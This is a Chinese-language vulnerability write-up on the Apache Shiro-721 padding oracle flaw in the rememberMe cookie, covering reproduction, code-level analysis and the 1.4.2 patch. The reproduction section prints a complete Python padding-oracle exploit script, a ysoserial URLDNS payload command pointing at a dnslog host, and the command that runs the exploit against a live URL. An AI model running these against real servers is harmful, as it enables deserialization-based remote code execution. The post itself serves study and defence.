0x01 漏洞原理

由于Apache Shiro 1.4.1及其之前版本的Cookie中的rememberMe字段是使用AES-128-CBC模式来加密生成的,因此攻击者可以在已有的正常登陆的Cookie rememberMe值的基础上根据Padding Oracle Attack的原理来暴破构造出恶意的rememberMe字段,重新发送暴破出来的恶意rememberMe值到服务端进而触发反序列化漏洞达到RCE。

关键步骤如图:

0x02 影响版本

Apache Shiro <= 1.4.1

0x03 环境搭建

远程环境搭建可参考:https://github.com/3ndz/Shiro-721

或者,本地搭建:下载samples-web-1.4.1.war,放置到本地Tomcat的webapp目录中即可。

注意,samples-web-1.4.1\WEB-INF\lib中的CommonsCollections包版本为3.2.2,并非漏洞版本,需要自行更换为3.2.1漏洞版本,否则后面的漏洞复现会失败。

0x04 前提条件

Apache Shiro Padding Oracle Attack的漏洞利用必须满足如下前提条件:

  • 开启rememberMe功能;
  • rememberMe值使用AES-CBC模式解密;
  • 能获取到正常Cookie,即用户正常登录的Cookie值;
  • 密文可控;

0x05 漏洞复现

首先正常登录进去,勾选上rememberMe选项:

刷新当前页面或访问/account页面,获取此时登录成功的rememberMe值:

使用ysoserial工具生成URLDNS验证payload:

1
java -jar ysoserial-master-6eca5bc740-1.jar URLDNS "http://5zfnof.dnslog.cn" > payload.class

利用GitHub的exp来进行Padding Oracle Attack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#https://github.com/3ndz/Shiro-721
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
self.wait = kwargs.get('wait', 2.0)

def oracle(self, data, **kwargs):
somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
self.session.cookies['rememberMe'] = somecookie
if self.session.cookies.get('JSESSIONID'):
del self.session.cookies['JSESSIONID']
while 1:
try:
response = self.session.get(sys.argv[1],
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue

self.history.append(response)
if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
logging.debug('No padding exception raised on %r', somecookie)
return
raise BadPaddingException


if __name__ == '__main__':
import logging
import sys

if not sys.argv[3:]:
print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
sys.exit(1)

logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[2]))
padbuster = PadBuster()
payload = open(sys.argv[3], 'rb').read()
enc = padbuster.encrypt(plaintext=payload, block_size=16)
print('rememberMe cookies:')
print(b64encode(enc))

注意:需要安装paddingoracle库,其只能运行于Python2环境中。

运行该exp脚本进行暴破:

1
python shiro-721_exp.py http://mi1k7ea.com/account/ 79i2DTxHODbt9xx9dXAwBVBFFzH+QxJ1elF+Y+8apWqUAvvc0HtEZYC9kcwXCPbcIZA/tUvLhzoSny6fEOSZIDtgTsvuCIWTz6zxSv3IEYg7AHHYVj1vvGQeDHuxXtclr9ipKCPWrXLaaMMObzGPrPbLWKvi5owo0YEklVL9EoStdZkslMcJo2y6hNYHro3SwtjhTh1vdhdH0hi2RGR70O+F5lKLnsOa9wvwfpz41kbzCCQyR82g16LhXRQgh4RUkHNmBynElujM/Gu8X7xpqlrhxXDr5MayBzFXTMMGOcjOm/bowf0BPn644tSLxR/7pSDxS+fTiTb5/odhk+QJpd1ayo5f9lKhcoJBiqRgO/nyPT8h/FoU/SDCiZL9oFTkvS2ZzzK69fqquLooB+5045x6kciBj2mgMYHlsapWzqlKW/Z1sXACZTtN5k8mDFVYH8iyQzO3YRBvUcXgD+0oLIizfmAq3lC5K8cNRvmH4q6QjQk48YK5psg6tK5V5R3y payload.class

得到暴破后的rememberMe值:

替换请求Cookie中的rememberMe值重放:

成功打到DNSLOG:

0x06 漏洞分析

Padding Oracle Attack构造加密数据

之前写的Padding Oracle Attack文章以及网上讲的文章大多数都是讲的如何使用Padding Oracle Attack来获取明文。但是这种场景在Apache Shiro Padding Oracle Attack这个漏洞场景中就不适用了,这也是当初暴出这个漏洞的时候我一时间搞不清楚原理的地方。

从漏洞复现我们知道,我们是需要通过Padding Oracle Attack加密Cookie中的数据而并非解密数据。其实,Padding Oracle Attack的另一种利用方式就是构造加密数据

具体原理可参考p0师傅的文章,讲解得十分详细!:Shiro Padding Oracle Attack 反序列化

这里简单说下Padding Oracle Attack加密数据整体过程:

  1. 选择一个明文P,用来生成你想要的密文C
  2. 使用适当的Padding将字符串填充为块大小的倍数,然后将其拆分为从1到N的块;
  3. 生成一个随机数据块(C[n]表示最后一个密文块);
  4. 对于每一个明文块,从最后一块开始:
    1. 创建一个包括两块的密文C’,其是通过一个空块(00000…)与最近生成的密文块C[n+1](如果是第一轮则是随机块)组合成的;
    2. 这步容易理解,就是Padding Oracle的基本攻击原理:修改空块的最后一个字节直至Padding Oracle没有出现错误为止,然后继续将最后一个字节设置为2并修改最后第二个字节直至Padding Oracle没有出现错误为止,依次类推,继续计算出倒数第3、4…个直至最后一个数据为止;
    3. 在计算完整个块之后,将它与明文块P[n]进行XOR一起创建C[n];
    4. 对后续的每个块重复上述过程(在新的密文块前添加一个空块,然后进行Padding Oracle爆破计算);

简单地说,每一个密文块解密为一个未知值,然后与前一个密文块进行XOR。通过仔细选择前一个块,我们可以控制下一个块解密来得到什么。即使下一个块解密为一堆无用数据,但仍然能被XOR化为我们控制的值,因此可以设置为任何我们想要的值。

一个Java反序列化Tips

Java原生反序列化是按照指定格式来读取序列化数据的,而ObjectOutputStream是一个对象操作流,其会按格式以队列方式读下去,也就是说在正常的序列化数据后面继续添加一些数据是不会影响反序列化操作的。

因此,我们可以在已有的Cookie rememberMe值后面加入一段数据,只要AES解密成功,就能进行反序列化操作,而这段数据是可以通过Padding Oracle Attack来构造Java原生反序列化漏洞利用Gadget的加密数据,从而就能触发Java原生反序列化漏洞了。

Padding Oracle的Bool判断依据

要成功进行Padding Oracle Attack是需要服务端返回两个不同的响应特征来进行Bool判断的。

在Apache Shiro的场景中,这个服务端的两个不同的响应特征为:

  • Padding Oracle错误时,服务端响应报文的Set-Cookie头字段返回rememberMe=deleteMe
  • Padding Oracle正确时,服务端返回正常的响应报文内容;

具体代码层面的原因在下面小节中会讲到。

漏洞代码分析

在之前Shiro550的文章就对Shiro相关调用进行调试分析过了,这里就只对相关的代码进行解读分析。

直接看到org/apache/shiro/mgt/AbstractRememberMeManager类的getRememberedPrincipals()函数:

一样是调用convertBytesToPrincipals()函数,继续看往下的几层调用:

这里CipherService接口类decrypt()函数的实现类是org/apache/shiro/crypto/JcaCipherService类,decrypt()函数就是调用JcaCipherService类的decrypt()函数,我们逐步往下看几层函数调用:

从这条函数调用栈可以看出,如果Padding Oracle失败,就会抛出CryptoException的异常。

我们可以继续跟进doFinal()函数里面的调用栈进去看看是怎么判断Padding Oracle失败的。看到如下几个函数调用链:doFinal()函数->this.spi即AESCipher类中的engineDoFinal()函数->CipherCore类的doFinal()函数->CipherCore类的fillOutputBuffer()函数->CipherCore类的unpad()函数

看到上述的unpad就是进行块padding的计算操作,如果返回值<0则直接抛出BadPaddingException异常。而这里this.padding就是com\sun\crypto\provider\PKCS5Padding类,即1.4.1及以下版本Shiro使用AES-CBC的PKCS 5作为Padding规则。

看到PKCS5Padding类的unpad()函数,主要是根据PKCS 5规则来校验Padding是否正确,若不正确则返回-1。其中最关键的判断条件就是第三个if判断条件,其正是校验最后Padding的n位的值是否为0x0n:

而当PKCS5Padding类的unpad()函数返回-1时,就会返回到CipherCore类的unpad()函数中抛出BadPaddingException异常,而该异常会被捕获到并抛出CryptoException异常。

当抛出异常时,就会在函数调用栈前面的getRememberedPrincipals()函数中的try catch给捕获到,其中调用onRememberedPrincipalFailure()来处理抛出的异常信息:

看到调用了forgetIdentity()函数,继续往下看到其实现类org/apache/shiro/web/mgt/CookieRememberMeManager:

这里removeFrom()函数的实现类是org/apache/shiro/web/servlet/SimpleCookie:

其中将DELETED_COOKIE_VALUE的值设置到响应报文的Set-Cookie头字段中的rememberMe中,而该值就是deleteMe

至此,我们就知道了Padding Oracle失败后服务端会返回Set-Cookie头字段rememberMe值为deleteMe

对于Padding Oracle正确的情况下,AES解密后的内容是要经过Java反序列化操作的,要想响应返回不同于Padding Oracle错误时的特征,就需要反序列化得到的是正常登录用户的Cookie rememberMe值,因此Padding Oracle Attack的前提是需要有正常登录用户的Cookie rememberMe值的(这块代码分析可参考threedr3am师傅的文章)。

最后,借用千里目安全实验室的一张图,展示了漏洞利用的主要过程:

0x07 补丁分析

到Shiro 1.4.2版本后,将默认的AES-CBC模式改为了AES-GCM模式:

具体代码如下:https://github.com/apache/shiro/commit/a8018783373ff5e5210225069c9919e071597d5e#diff-d61135f70077e55187e227aa61a3f72eef52568787ecbd59913e8a609b35019c

0x08 工具

推荐ShiroExploit,暴破的过程一样的相当久:https://github.com/feihong-cs/ShiroExploit

0x09 参考

Apache Shiro源码浅析之从远古洞到最新PaddingOracle CBC

Shiro Padding Oracle Attack 反序列化

Going the other way with padding oracles: Encrypting arbitrary data!

Shiro组件漏洞与攻击链分析